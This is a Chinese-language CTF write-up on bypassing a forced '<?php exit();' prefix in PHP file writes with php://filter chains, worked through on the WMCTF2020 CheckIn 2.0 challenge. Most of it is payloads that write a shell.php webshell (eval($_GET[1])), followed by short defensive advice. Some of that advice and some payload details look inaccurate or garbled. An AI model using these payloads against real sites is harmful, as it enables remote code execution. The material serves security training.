从死亡exit到WebShell:PHP Filter伪协议的CTF实战艺术

当你在CTF赛场上遇到 file_put_contents($filename, "<?php exit();".$content); 这样的代码时,是否感到束手无策?本文将带你深入探索PHP Filter伪协议的魔法世界,通过WMCTF2020真实赛题拆解,揭示如何用过滤器链实现代码执行的华丽转身。

1. 理解PHP Filter协议的核心机制

PHP的 php://filter 协议本质上是一个数据流处理管道,它允许我们在读取或写入数据时,对数据流进行多层加工处理。这个特性在CTF题目中常常成为突破防御的关键。

过滤器链的工作方式类似于Unix管道:

// 典型的多层过滤器结构示例
file_get_contents("php://filter/read=convert.base64-encode|string.rot13/resource=data://text/plain,test");

过滤器主要分为四大类

类型 前缀 典型过滤器示例
字符串过滤器 string. rot13, toupper, strip_tags
转换过滤器 convert. base64-encode, iconv
压缩过滤器 zlib./bzip2. deflate, inflate
加密过滤器 mcrypt. (PHP 7.1.0后已废弃)

关键特性:当过滤器链遇到无法识别的规则时,PHP会抛出Warning但继续执行后续操作,这个特性常被用于构造非常规攻击路径。

2. 死亡exit的六种破解之道

2.1 Base64编码的艺术

Base64解码会按4字节一组处理输入,利用这个特性可以构造精确的填充攻击:

$payload = "aPD9waHAgcGhwaW5mbygpOz8+"; // 原始内容:<?php phpinfo();?>
$filename = "php://filter/write=convert.base64-decode/resource=shell.php";

填充计算技巧

  1. 计算 <?php exit(); 的Base64编码长度(12字节)
  2. 添加 a 字符使总长度成为4的倍数(12+1=13 → 需要补到16)
  3. 最终需要添加3个填充字符

2.2 ROT13的字符魔术

利用字符串旋转避开关键词检测:

$content = "<?cuc cucvasb();?>";  // rot13编码后的<?php phpinfo();?>
$filename = "php://filter/write=string.rot13/resource=shell.php";

2.3 编码转换的位操作

UCS-2和UCS-4编码转换会产生字节序反转效果:

// UCS-2LE到UCS-2BE转换示例(2字节反转)
$payload = "?<hp phpipfn(o;)>?";
$filename = "php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php";

// UCS-4LE到UCS-4BE转换示例(4字节反转)
$payload = "aa?<aa phpiphp(ofn>?;)";
$filename = "php://filter/write=convert.iconv.UCS-4LE.UCS-4BE/resource=shell.php";

2.4 压缩过滤器的变形术

通过压缩-处理-解压流程破坏原始结构:

$content = 'php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php eval($_GET[1]);?>/resource=shell.php';

2.5 标签剥离的巧妙利用

先用 ?> 闭合前标签,再用strip_tags清除:

$content = "?>PD9waHAgcGhwaW5mbygpOz8+";
$filename = "php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";

2.6 双重URL编码的障眼法

当题目过滤关键词时,可采用二次编码绕过:

// 原始:convert.iconv.UCS-2LE.UCS-2BE
// 一次编码:%63%6f%6e%76%65%72%74%2e%69%63%6f%6e%76%2e%55%43%53%2d%32%4c%45%2e%55%43%53%2d%32%42%45
// 二次编码:
$payload = "%2563%256f%256e%2576%2565%2572%2574%252e%2569%2563%256f%256e%2576%252e%2555%2543%2553%252d%2532%254c%2545%252e%2555%2543%2553%252d%2532%2542%2545";
$filename = "php://filter/write=$payload|?<hp phpipfn(o;)>?/resource=shell.php";

3. WMCTF2020 CheckIn 2.0实战复盘

分析题目给出的限制条件:

if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content)) die('hacker');

突破路径一:编码嵌套

  1. 使用二次URL编码绕过关键词检测
  2. 构造UCS-2编码转换payload
  3. 最终执行代码:
content=php://filter/write=%2563%256f%256e%2576%2565%2572%2574%252e%2569%2563%256f%256e%2576%252e%2555%2543%2553%252d%2532%254c%2545%252e%2555%2543%2553%252d%2532%2542%2545|aa<ap?phe av(l_$OPTS'[1mnsw0]';)hpipfn(o;)>?/resource=shell.php

突破路径二:压缩变形

  1. 利用zlib过滤器链破坏原始结构
  2. 插入string.tolower干扰exit的完整性
  3. 最终payload:
content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php eval($_GET[1]);?>/resource=shell.php

4. 防御视角的思考与实践

虽然这些技巧在CTF中很有效,但在真实环境中防御也很有必要:

安全建议

  • 禁用危险的协议包装器: ini_set('allow_url_fopen', 'off');
  • 严格限制文件写入路径: realpath() 检查+目录白名单
  • 内容安全检查:不仅检查扩展名,还要验证文件魔数
  • 使用现代PHP版本(≥8.0)并开启严格模式
// 安全的文件写入示例
$safe_dir = '/var/www/uploads/';
$filename = basename($_POST['filename']);
if(!preg_match('/^[a-z0-9_-]+\.txt$/i', $filename)) {
    die('Invalid filename');
}
$path = $safe_dir . $filename;
file_put_contents($path, strip_tags($_POST['content']));

在CTF赛场上,这些Filter技巧就像是一把把特制的钥匙,而现实世界的安全防护则需要建立完整的防御体系。理解攻击原理的目的,最终是为了构建更坚固的防御。

更多推荐